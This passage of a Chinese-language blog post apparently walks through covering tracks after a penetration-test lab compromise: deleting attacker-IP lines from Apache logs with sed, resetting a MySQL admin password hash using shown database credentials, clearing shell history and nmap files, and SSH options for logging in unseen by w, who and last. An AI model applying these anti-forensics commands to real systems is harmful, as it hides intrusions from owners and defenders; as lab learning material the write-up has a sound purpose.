/var/log/apache2/access.log可以看到连同kali(192.168.209.151)的日志一起清除成功了同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功!2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。 慢查询日志slow_query_log看图也是关闭的 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。 找到这两个日志文件路径,看看有没有,很好没有,这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。6、nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。7、更多我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知扩展知识隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i往期文章推荐:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd
2025年05月18日
1,314 阅读
0 评论
0 点赞
1
...
30
31
32
...
39